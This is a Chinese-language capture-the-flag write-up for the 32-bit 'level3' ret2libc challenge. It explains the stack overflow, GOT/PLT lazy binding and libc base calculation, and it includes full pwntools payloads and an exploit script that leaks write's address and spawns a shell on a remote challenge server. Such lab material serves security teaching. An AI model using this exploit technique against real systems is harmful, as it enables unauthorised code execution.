题目

此题属于ROP中的ret2libc类型

漏洞分析

首先查看保护

level3开启了NX保护

1
2
3
4
5
6
7
8
┌──(root💀06aa46c0844f)-[/home/level3]
└─# checksec level3
[*] '/home/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

而libc_32.so.6开启了Canary、NX、PIE保护

1
2
3
4
5
6
7
8
┌──(root💀06aa46c0844f)-[/home/level3]
└─# checksec libc_32.so.6
[*] '/home/level3/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

放入ida反汇编,发现main函数首先调用了vulnerable_function,调用结束后通过write函数来打印Hello, World!

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function中定义了buf变量,大小为0x88字节,再write函数打印Input之后,调用了read函数,用户可以输入0x100个字节,很明显这里可以栈溢出攻击

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

接下来想这去覆盖返回地址为system,但发现level3中没有system函数可以直接跳转的偏移地址,并且level3中也没有”/bin/sh”的地址来充当system函数的参数

image-20211129171041435

没有system和”/bin/sh”的地址怎么跳转,怎么办呢?这里需要了解下libc(题目的libc_32.so.6文件就是)以及got.plt的延迟绑定机制

libc介绍
libc是Linux下的ANSI C的函数库。
ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。比如write、system以及”/bin/sh”字符串等都在里面…

GOT和PLT的作用:
ELF文件中通常存在.GOT.PLT和.PLT这两个特殊的节,ELF编译时无法知道libc等动态链接库的加载地址。如果一个程序想调用动态链接库的函数,就必须使用.GOT.PLT和.PLT配合完成调用。
ELF中所有用到的外部动态链接库函数都会有对应的PLT项目
PLT表还是一段代码,作用是从内存中取出一个地址然后跳转。取出的地址便是函数的真实地址
got.plt表的延迟绑定机制:.GOT.PLT表的初始化是在第一次调用该函数的过程中完成的,也就是说,某个函数必须被调用过,.GOT.PLT表中才会存放函数的真实地址

因此level3程序在第一次调用write函数时,plt表里没有write函数的真实地址,在调用之后,got.plt表才会存放(存放!不是等于)write函数的真实地址,而这个真实地址在libc开启了地址随机化保护(ASLR)等于基地址+write函数在libc中的偏移地址。

攻击思路

在理解了这些基础后,我们的攻击思路就清楚了

  • 首先前面level3程序中通过write函数打印了两次字符串,并且write函数在调用了,因此我们构造出第一次payload攻击,可以先栈溢出覆盖返回地址为write,借助于write函数打印它got.plt表中的地址(write函数的真实地址),write调用完饭回到main从头又开始
  • 在发送第一次payload后,可以获取到write的真实地址,用write的真实地址减去write函数在plt表中的地址(本地获取level3中write的plt表地址)从而计算出libc运行加载的基地址base_addr
  • 本地获取system、”/bin/sh”的偏移地址,计算出system、”/bin/sh”的真实地址
  • 构造第二次payload实施第二次攻击最后getshell

步骤

可以用python的函数去获取二进制文件中got、plt表的地址:

1
2
3
4
5
6
7
p = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")

write_plt = elf.plt['write'] #获取plt表中write地址
write_got = elf.got['write'] #获取got表中write函数地址
main_addr = elf.symbols['main'] #获取的.text中的main函数地址

获取”/bin/sh”字符串的地址:0x15902b

strings -a -t x libc_32.so.6 | grep "/bin/sh"

payload1

第一次攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + write在plt表中的地址 + write返回时主函数地址 + write参数1fd + 要求的的offset write的地址 + 长度4

payload1 = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x4)

write参数说明一下:

可以从调用write前的汇编代码看出来栈地址从小到大应该依次是fd(为1就是打印字符串)、要打印的字符串offset地址、打印字符串的长度(字节数),因此上面的payload1中0x4是因为要打印出write函数的真实地址的长度(32位占4个字节)

1
2
3
4
.text:0804849D                 push    0Eh             ; n
.text:0804849F push offset aHelloWorld ; "Hello, World!\n"
.text:080484A4 push 1 ; fd
.text:080484A6 call _write

payload2

第二次攻击攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + system调用地址 + 覆盖返回地址(随意) + “参数/bin/sh地址”

payload2 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# encoding: utf-8
from pwn import *
context.log_level = 'debug'
r = remote("111.200.241.244", 56117)

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
#strings -a -t x libc_32.so.6 | grep "/bin/sh"找到sh的偏移
bin_sh_libc = 0x15902b


#第一次攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + write在plt表中的地址 + write返回时主函数地址 + write参数1fd + 要求的的offset write的地址 + 长度4
payload1 = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x4)

r.recv()
r.sendline(payload1)
res = r.recv()
write_addr = u32(res[:4])

base_libc = write_addr - write_libc #计算PIE保护随机化后的基址
sys_addr = base_libc + sys_libc
bin_sh_addr = base_libc + bin_sh_libc

#第二次攻击攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + system调用地址 + 覆盖返回地址(随意) + "参数/bin/sh地址"
payload2 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

r.sendline(payload2)
r.interactive()

打通!

image-20211129175811531